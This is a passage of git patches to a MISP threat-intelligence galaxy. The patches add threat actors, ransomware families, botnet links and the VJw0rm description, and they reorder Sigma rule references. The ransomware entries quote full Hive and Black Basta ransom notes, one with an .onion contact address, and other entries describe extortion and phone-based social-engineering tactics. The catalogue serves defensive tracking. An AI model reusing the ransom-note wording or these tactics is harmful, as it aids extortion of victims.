"https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml" + "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100" ], "tags": [ "attack.defense_evasion", @@ -62122,9 +62120,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_sdclt.yml", "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_sdclt.yml" + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -62174,8 +62172,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_wmp.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_wmp.yml", + "https://github.com/hfiref0x/UACME" ], "tags": [ "attack.defense_evasion", @@ -62199,8 +62197,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_vbs_payload_stored.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_vbs_payload_stored.yml", + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" ], "tags": [ "attack.persistence", @@ -62223,10 +62221,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml", - "https://twitter.com/Hexacorn/status/991447379864932352", "http://www.hexacorn.com/blog/2018/05/01/wab-exe-as-a-lolbin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_wab_dllpath_reg_change.yml", + "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OSBinaries/Wab.yml", + "https://twitter.com/Hexacorn/status/991447379864932352" ], "tags": [ "attack.defense_evasion", @@ -62274,11 +62272,11 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_windows_defender_tamper.yml", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_windows_defender_tamper.yml" + "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105" ], "tags": [ "attack.defense_evasion", @@ -62349,8 +62347,8 @@ "logsource.product": "windows", "refs": [ "https://persistence-info.github.io/Data/naturallanguage6.html", - "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/regsitry_set_natural_language_persistence.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/regsitry_set_natural_language_persistence.yml", + "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/" ], "tags": [ "attack.persistence" @@ -62444,9 +62442,9 @@ "logsource.category": "sysmon_status", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_config_modification_status.yml" + "https://talesfrominfosec.blogspot.com/2017/12/killing-sysmon-silently.html" ], "tags": [ "attack.defense_evasion", @@ -62494,8 +62492,8 @@ "logsource.category": "file_block", "logsource.product": "windows", "refs": [ - "https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_exe.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_file_block_exe.yml", + "https://medium.com/@olafhartong/sysmon-14-0-fileblockexecutable-13d7ba3dff3e" ], "tags": [ "attack.defense_evasion" @@ -62517,9 +62515,9 @@ "logsource.category": "process_tampering", "logsource.product": "windows", "refs": [ - "https://twitter.com/SecurePeacock/status/1486054048390332423?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_process_hollowing.yml", "https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-now-detects-malware-process-tampering-attempts/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/sysmon/sysmon_process_hollowing.yml" + "https://twitter.com/SecurePeacock/status/1486054048390332423?s=20" ], "tags": [ "attack.defense_evasion", @@ -62592,10 +62590,10 @@ "logsource.category": "wmi_event", "logsource.product": "windows", "refs": [ - "https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/", - "https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19", "https://github.com/RiccardoAncarani/LiquidSnake", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_scripting.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/wmi_event/sysmon_wmi_susp_scripting.yml", + "https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/", + "https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19" ], "tags": [ "attack.execution", From 4844a7021c15b5a8f5c07eca81c5ecaa7bdf9ec7 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Fri, 18 Nov 2022 14:36:02 +0100 Subject: [PATCH 158/167] chg: [sigma] duplicate value changed --- clusters/sigma-rules.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/clusters/sigma-rules.json b/clusters/sigma-rules.json index 2b65a34..94b2798 100644 --- a/clusters/sigma-rules.json +++ b/clusters/sigma-rules.json @@ -5315,7 +5315,7 @@ "tags": "No established tags" }, "uuid": "7e4bfe58-4a47-4709-828d-d86c78b7cc1f", - "value": "Cleartext Protocol Usage" + "value": "Cleartext Protocol Usage seen via Netflow" }, { "description": "Automatically lock workstation sessions after a standard period of inactivity.\nThe case is not applicable for Unix OS. Supported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019.\n", From be7450494e73d5e657d7503d63f532f14c1debf9 Mon Sep 17 00:00:00 2001 From: Thomas Dupuy Date: Thu, 17 Nov 2022 20:19:32 +0000 Subject: [PATCH 159/167] Add Evasive Panda Threat Actor --- clusters/threat-actor.json | 32 +++++++++++++++++++++++++++++++- 1 file changed, 31 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index ec2f959..1fedd0a 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9894,7 +9894,37 @@ ], "uuid": "8134c96d-d6ed-49cc-99d6-fe74c0636387", "value": "GOLD PRELUDE" + }, + { + "description": "Evasive Panda is an APT group that has been active since at least 2012, conducting cyberespionage targeting individuals, government institutions and organizations.", + "meta": { + "attribution-confidence": "50", + "cfr-suspected-state-sponsor": "China", + "cfr-suspected-victims": [ + "Hong Kong", + "India", + "Malaysia", + "Taiwan" + ], + "cfr-target-category": [ + "Government", + "Individuals", + "Universities" + ], + "cfr-type-of-incident": "Espionage", + "country": "CN", + "refs": [ + "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware/", + "https://vb2020.vblocalhost.com/uploads/VB2020-43.pdf", + "https://www.virusbulletin.com/virusbulletin/2014/02/needle-haystack" + ], + "synonym": [ + "BRONZE HIGHLAND" + ] + }, + "uuid": "171d0590-be92-443f-addb-af5dc2a8034d", + "value": "Evasive Panda" } ], - "version": 252 + "version": 253 } From 3c7230e38eda2eca958099738daae60023de9b11 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 22 Nov 2022 09:00:04 +0100 Subject: [PATCH 160/167] add Bazarbackdoor Synonyms --- clusters/backdoor.json | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/clusters/backdoor.json b/clusters/backdoor.json index ee16029..c52e142 100644 --- a/clusters/backdoor.json +++ b/clusters/backdoor.json @@ -135,6 +135,14 @@ "refs": [ "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", "https://www.pandasecurity.com/en/mediacenter/business/bazarbackdoor-trickbot-backdoor/" + ], + "synonyms": [ + "BEERBOT", + "KEGTAP", + "Team9Backdoor", + "bazaloader", + "bazarloader", + "bazaarloader" ] }, "uuid": "1523a693-5d90-4da1-86d2-b5d22317820d", @@ -187,5 +195,5 @@ "value": "BPFDoor" } ], - "version": 12 + "version": 13 } From 8bf6d73d66e4e4ff48847cc0b365643691fbe0d5 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 22 Nov 2022 09:08:28 +0100 Subject: [PATCH 161/167] add BazarCall campaign --- clusters/threat-actor.json | 23 ++++++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index ec2f959..da86565 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -2572,7 +2572,8 @@ "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://threatintel.blog/OPBlueRaven-Part1/", "https://threatintel.blog/OPBlueRaven-Part2/", - "https://www.secureworks.com/research/threat-profiles/gold-niagara" + "https://www.secureworks.com/research/threat-profiles/gold-niagara", + "https://www.computerweekly.com/news/252525240/ALPHV-BlackCat-ransomware-family-becoming-more-dangerous" ], "synonyms": [ "CARBON SPIDER", @@ -2580,7 +2581,8 @@ "Calcium", "ATK32", "G0046", - "G0008" + "G0008", + "Coreid" ] }, "related": [ @@ -9894,7 +9896,22 @@ ], "uuid": "8134c96d-d6ed-49cc-99d6-fe74c0636387", "value": "GOLD PRELUDE" + }, + { + "description": "BazarCall campaigns forgo malicious links or attachments in email messages in favor of phone numbers that recipients are misled into calling. It’s a technique reminiscent of vishing and tech support scams where potential victims are being cold called by the attacker, except in BazarCall’s case, targeted users must dial the number. And when they do, the users are connected with actual humans on the other end of the line, who then provide step-by-step instructions for installing malware into their devices.", + "meta": { + "refs": [ + "https://www.trellix.com/en-us/about/newsroom/stories/research/evolution-of-bazarcall-social-engineering-tactics.html", + "https://www.microsoft.com/en-us/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/" + ], + "synonyms": [ + "BazzarCall", + "BazaCall" + ] + }, + "uuid": "906e2091-cc32-499e-a799-2b9b15e45042", + "value": "BazarCall" } ], - "version": 252 + "version": 253 } From e316382b8aeadbaa7b4acd83f55f906bd0431b4d Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 22 Nov 2022 12:06:03 +0100 Subject: [PATCH 162/167] add qakbot ref --- clusters/botnet.json | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/clusters/botnet.json b/clusters/botnet.json index df6dea5..d7ad655 100644 --- a/clusters/botnet.json +++ b/clusters/botnet.json @@ -1346,7 +1346,8 @@ "description": "Discovered in 2008 and under constant development, with gaps in operational use in the wild; operators are occasionally known as GOLD LAGOON. Banking Trojan, steals financial data, browser information/hooks, keystrokes, credentials; described by CheckPoint as a “Swiss Army knife”. Known to leverage many other tools; for example, PowerShell and Mimikatz are used for self-propagation. Attempts obfuscation via legitimate process injection. Known to serve as a dropper for ProLock ransomware. Infection vectors are common, with malspam as the most frequent. Active in 2020 – two big campaigns, one from March to June, second Starting in July and ongoing, as part of latest Emotet campaign. Newer version appeared in August.", "meta": { "refs": [ - "https://www.cisa.gov/sites/default/files/publications/202010221030_QakBot%20TLPWHITE.pdf" + "https://www.cisa.gov/sites/default/files/publications/202010221030_QakBot%20TLPWHITE.pdf", + "https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html" ], "synonyms": [ "QakBot", @@ -1385,5 +1386,5 @@ "value": "Dark.IoT" } ], - "version": 28 + "version": 29 } From ffc68b9b8f99b2556c6fdc6d6312cc3ebd47168a Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 22 Nov 2022 12:40:47 +0100 Subject: [PATCH 163/167] add several ransomwares --- clusters/botnet.json | 10 +- clusters/ransomware.json | 235 ++++++++++++++++++++++++++++++++++++++- 2 files changed, 240 insertions(+), 5 deletions(-) diff --git a/clusters/botnet.json b/clusters/botnet.json index d7ad655..c2c34b8 100644 --- a/clusters/botnet.json +++ b/clusters/botnet.json @@ -1347,7 +1347,8 @@ "meta": { "refs": [ "https://www.cisa.gov/sites/default/files/publications/202010221030_QakBot%20TLPWHITE.pdf", - "https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html" + "https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html", + "https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/" ], "synonyms": [ "QakBot", @@ -1361,6 +1362,13 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "dropped" + }, + { + "dest-uuid": "9db5f425-fe49-4137-8598-840e7290ed0f", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "used-by" } ], "uuid": "421a3805-7741-4315-82c2-6c9aa30d0953", diff --git a/clusters/ransomware.json b/clusters/ransomware.json index 5878212..e45ff7f 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -14391,6 +14391,9 @@ "https://www.digitalshadows.com/blog-and-research/darkside-the-new-ransomware-group-behind-highly-targeted-attacks/", "https://www.wired.com/story/ransomware-gone-corporate-darkside-where-will-it-end/", "https://darksidedxcftmqa.onion.foundation/" + ], + "synonyms": [ + "BlackMatter" ] }, "uuid": "f514a46e-53ff-4f07-b75a-aed289cf221f", @@ -23619,6 +23622,20 @@ }, { "description": "ransomware", + "meta": { + "refs": [ + "https://howtofix.guide/ransom-mountlocket/" + ] + }, + "related": [ + { + "dest-uuid": "0ca6ac54-ad2b-4945-9580-ac90e702fd2c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], "uuid": "7513650c-ba09-49bf-b011-d2974c7ae023", "value": "Mountlocket" }, @@ -23658,7 +23675,7 @@ "value": "Leakthemall" }, { - "description": "ransomware", + "description": "Conti ransomware is a RaaS and has been observed encrypting networks since mid-2020.\nConti was developed by the “TrickBot” group, an organized Russian cybercriminal operation. Their reputation has allowed the group to create a strong brand name, attracting many affiliates which has made Conti one of the most widespread ransomware strains in the world.\nOne of the last known “Conti” attacks was against the government of Costa Rica in April 2022 causing the country to declare a state of emergency.\nShortly after this final attack, the “Conti” brand disappeared. The group behind it likely switched to a different brand to avoid sanctions and start over with a new, clean reputation.", "meta": { "attribution-confidence": "100", "country": "RU", @@ -23669,9 +23686,34 @@ "All of your files are currently encrypted by CONTI ransomware." ], "refs": [ - "https://www.cyber.gov.au/acsc/view-all-content/advisories/2021-010-acsc-ransomware-profile-conti" + "https://www.cyber.gov.au/acsc/view-all-content/advisories/2021-010-acsc-ransomware-profile-conti", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf?1651576098", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines" ] }, + "related": [ + { + "dest-uuid": "0ca6ac54-ad2b-4945-9580-ac90e702fd2c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "parent-of" + }, + { + "dest-uuid": "9db5f425-fe49-4137-8598-840e7290ed0f", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "parent-of" + }, + { + "dest-uuid": "1c43524e-0f2e-4468-b6b6-8a37f1d0ea87", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "parent-of" + } + ], "uuid": "201eff54-d41e-4f70-916c-5dfb9301730a", "value": "Conti" }, @@ -23905,7 +23947,10 @@ { "description": "ransomware", "meta": { - "date": "November 2020" + "date": "November 2020", + "synonyms": [ + "FiveHands" + ] }, "uuid": "022c995a-f1ba-498f-b67e-92ef01fd06a3", "value": "HelloKitty" @@ -24603,7 +24648,189 @@ }, "uuid": "d513199e-7f21-43fd-9610-ed708c3f6409", "value": "Lorenz Ransomware" + }, + { + "description": "First observed in June 2021, Hive ransomware was originally written in GoLang but recently, new Hive variants have been seen written in Rust. Targets Healthcare sector.", + "meta": { + "ransomnotes": [ + "Your network has been breached and all data were encrypted.\nPersonal data, financial reports and important documents are ready to disclose.\n\n To decrypt all the data and to prevent exfiltrated files to be disclosed at \nhttp://hive[REDACTED].onion/\nyou will need to purchase our decryption software.\n \nPlease contact our sales department at:v \n http://hive[REDACTED].onion/\n \n Login: [REDACTED]\n Password: [REDACTED]\n \nTo get an access to .onion websites download and install Tor Browser at:\n https://www.torproject.org/ (Tor Browser is not related to us)\n \n \nFollow the guidelines below to avoid losing your data:\n \n- Do not modify, rename or delete *.key.abc12 files. Your data will be \n undecryptable.\n- Do not modify or rename encrypted files. You will lose them.\n- Do not report to the Police, FBI, etc. They don't care about your business.\n They simply won't allow you to pay. As a result you will lose everything.\n- Do not hire a recovery company. They can't decrypt without the key. \n They also don't care about your business. They believe that they are \n good negotiators, but it is not. They usually fail. So speak for yourself.\n- Do not reject to purchase. Exfiltrated files will be publicly disclosed.", + "Your network has been breached and all data were encrypted.\nPersonal data, financial reports and important documents are ready to disclose.\n\n To decrypt all the data and to prevent exfiltrated files to be disclosed at \nhttp://hive[REDACTED].onion/\nyou will need to purchase our decryption software.\n \nPlease contact our sales department at:\n \n http://hive[REDACTED].onion/\n \n Login: test_hive_username\n Password: test_hive_password\n \nTo get an access to .onion websites download and install Tor Browser at:\n https://www.torproject.org/ (Tor Browser is not related to us)\n \n \nFollow the guidelines below to avoid losing your data:\n \n- Do not delete or reinstall VMs. There will be nothing to decrypt.\n- Do not modify, rename or delete *.key files. Your data will be \n undecryptable.\n- Do not modify or rename encrypted files. You will lose them.\n- Do not report to the Police, FBI, etc. They don't care about your business.\n They simply won't allow you to pay. As a result you will lose everything.\n- Do not hire a recovery company. They can't decrypt without the key. \n They also don't care about your business. They believe that they are \n good negotiators, but it is not. They usually fail. So speak for yourself.\n- Do not reject to purchase. Exfiltrated files will be publicly disclosed" + ], + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.hive", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", + "https://www.sentinelone.com/labs/hive-attacks-analysis-of-the-human-operated-ransomware-targeting-healthcare/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive", + "https://www.microsoft.com/en-us/security/blog/2022/07/05/hive-ransomware-gets-upgrades-in-rust/", + "https://yoroi.company/wp-content/uploads/2022/07/Yoroi-On-The-Footsteps-of-Hive-Ransomware.pdf", + "https://www.varonis.com/blog/hive-ransomware-analysis" + ] + }, + "uuid": "8ce915d3-8c6d-4841-b509-18379d7a8999", + "value": "Hive" + }, + { + "description": "", + "meta": { + "ransomnotes-refs": [ + "https://www.guidepointsecurity.com/wp-content/uploads/2021/04/Anonymized-Ransom-Note-1-1024x655.png" + ], + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker", + "https://securityscorecard.pathfactory.com/research/quantum-ransomware", + "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game/", + "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-now-targets-your-turbotax-tax-returns/", + "https://dissectingmalwa.re/between-a-rock-and-a-hard-place-exploring-mount-locker-ransomware.html", + "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates", + "https://github.com/Finch4/Malware-Analysis-Reports/tree/master/MountLocker", + "https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines", + "https://kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/", + "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", + "https://thedfirreport.com/2022/04/25/quantum-ransomware/" + ], + "synonyms": [ + "Quantum", + "Mount Locker", + "DagonLocker" + ] + }, + "related": [ + { + "dest-uuid": "7513650c-ba09-49bf-b011-d2974c7ae023", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "201eff54-d41e-4f70-916c-5dfb9301730a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "successor-of" + } + ], + "uuid": "0ca6ac54-ad2b-4945-9580-ac90e702fd2c", + "value": "QuantumLocker" + }, + { + "description": "Black Basta is a new ransomware strain discovered during April 2022 - looks in dev since at least early February 2022 - and due to their ability to quickly amass new victims and the style of their negotiations, this is likely not a new operation but rather a rebrand of a previous top-tier ransomware gang that brought along their affiliates.", + "meta": { + "extensions": [ + ".basta" + ], + "ransomnotes": [ + "Your data are stolen and encrypted\nThe data will be published on TOR website if you do not pay the ransom\nYou can contact us and decrypt one file for free on this TOR site (you should download and install TOR browser first https://torproject.org) https://aazsbsgya565y1u2c6Lay6yfiebkcbtvvcytyolt33s77xypi7nypxyd.onion/ \n\nYour company id for log in: [REDACTED]" + ], + "ransomnotes-files": [ + "readme.txt" + ], + "ransomnotes-refs": [ + "https://www.bleepstatic.com/images/news/ransomware/b/black-basta/wallpaper.jpg", + "https://www.bleepstatic.com/images/news/ransomware/b/black-basta/ransom-note.jpg", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/e/examining-the-black-basta-ransomwares-infection-routine/blackbasta07PII.PNG", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/e/examining-the-black-basta-ransomwares-infection-routine/blackbasta08PII.PNG" + ], + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta", + "https://www.bleepingcomputer.com/news/security/american-dental-association-hit-by-new-black-basta-ransomware/", + "https://www.bleepingcomputer.com/news/security/new-black-basta-ransomware-springs-into-action-with-a-dozen-breaches/", + "https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://securityintelligence.com/posts/black-basta-ransomware-group-besting-network/", + "https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware", + "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", + "https://gbhackers.com/black-basta-ransomware/", + "https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html", + "https://securelist.com/luna-black-basta-ransomware/106950/", + "https://securityscorecard.com/research/a-deep-dive-into-black-basta-ransomware", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta", + "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", + "https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/", + "https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html" + ] + }, + "related": [ + { + "dest-uuid": "201eff54-d41e-4f70-916c-5dfb9301730a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "successor-of" + }, + { + "dest-uuid": "421a3805-7741-4315-82c2-6c9aa30d0953", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "uses" + } + ], + "uuid": "9db5f425-fe49-4137-8598-840e7290ed0f", + "value": "BlackBasta" + }, + { + "description": "Ransomware", + "related": [ + { + "dest-uuid": "201eff54-d41e-4f70-916c-5dfb9301730a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "successor-of" + } + ], + "uuid": "1c43524e-0f2e-4468-b6b6-8a37f1d0ea87", + "value": "BlackByte" + }, + { + "description": "Ransomware", + "uuid": "549c9766-b45d-4d14-86e8-e6a74d69d067", + "value": "RedAlert" + }, + { + "description": "Ransomware", + "uuid": "00638cb0-d8c5-46c2-9c57-39d93d5bfa36", + "value": "Cheerscrypt" + }, + { + "description": "Ransomware", + "uuid": "b4d24c48-c2f7-4ae7-a708-8b321b98075a", + "value": "GwisinLocker" + }, + { + "description": "Ransomware", + "uuid": "2950977b-59bb-464a-8dd8-21728887f72f", + "value": "Luna Ransomware" + }, + { + "description": "Ransomware", + "uuid": "73d3d8f8-83cc-4fdc-a645-d03b9a7b5a9b", + "value": "AvosLocker" + }, + { + "description": "Ransomware", + "uuid": "fec32bbf-c4f8-499d-8e2a-743bcdd071e7", + "value": "PLAY Ransomware" + }, + { + "description": "Ransomware", + "uuid": "1d8cadb9-501c-493e-b89b-b5574ed3f722", + "value": "Qyick Ransomware" + }, + { + "description": "Ransomware", + "uuid": "9796a1a4-b2d7-4e68-bfb4-57093fd32fef", + "value": "Agenda Ransomware" + }, + { + "description": "Ransomware", + "uuid": "a7623a1b-4551-4e5a-a622-2b91dea16b42", + "value": "Karakurt" } ], - "version": 109 + "version": 110 } From f4abf37b01d1eff512545f0219134fc72c8058fa Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 22 Nov 2022 12:45:15 +0100 Subject: [PATCH 164/167] fix versions --- clusters/botnet.json | 2 +- clusters/threat-actor.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/clusters/botnet.json b/clusters/botnet.json index 0df6e77..dad5596 100644 --- a/clusters/botnet.json +++ b/clusters/botnet.json @@ -1404,5 +1404,5 @@ "value": "KmsdBot" } ], - "version": 29 + "version": 30 } diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index ea4f045..fa1f2ac 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9943,5 +9943,5 @@ "value": "Evasive Panda" } ], - "version": 253 + "version": 254 } From 5f0d7f6d68885faf8ccbb40461b8486bfd243fbe Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 22 Nov 2022 14:55:10 +0100 Subject: [PATCH 165/167] add VJw0rm description --- clusters/rat.json | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/clusters/rat.json b/clusters/rat.json index d41e703..e2d5d02 100644 --- a/clusters/rat.json +++ b/clusters/rat.json @@ -2693,10 +2693,16 @@ "value": "Revenge-RAT" }, { + "description": "“Vengeance Justice Worm” was first discovered in 2016 and is a highly multifunctional, modular, publicly available “commodity malware”, i.e., it can be purchased by those interested through various cybercrime and hacking related forums and channels.\n\nVJwOrm is a JavaScript-based malware and combines characteristics of Worm, Information Stealer, Remote-Access Trojan (RAT), Denial-of-Service (DOS) malware, and spam-bot.\n\nVJw0rm is propagated primarily by malicious email attachments and by infecting removeable storage devices.\n\nOnce executed by the victim, the very heavily obfuscated VJw0rm will enumerate installed drives and, if a removeable drive is found, VJwOrm will infect it if configured to do so.\n\nIt will continue to gather victim information such as operating system details, user’s details, installed anti-virus product details, stored browser cookies, the presence of vbc.exe on the system (Microsoft’s .NET Visual Basic Compiler, this indicates that .NET is installed on the system and can affect the actor’s choice of additional malware delivery), and whether the system has been previously infected.\n\nVJw0rm will then report this information back to its command-and-control server and await further commands, such as downloading and executing additional malware or employing any of its other numerous capabilities.\n\nFinally, VJw0rm establishes persistency in the form of registry auto-runs, system startup folders, a scheduled-task, or any combination of these methods.", "meta": { "date": "2016", "refs": [ "https://twitter.com/malwrhunterteam/status/816993165119016960?lang=en" + ], + "synonym": [ + "Vengeance Justice Worm", + "VJw0rm", + "VJwOrm" ] }, "uuid": "bf86d7a6-80af-4d22-a092-f822bf7201d2", @@ -3544,5 +3550,5 @@ "value": "Ragnatela" } ], - "version": 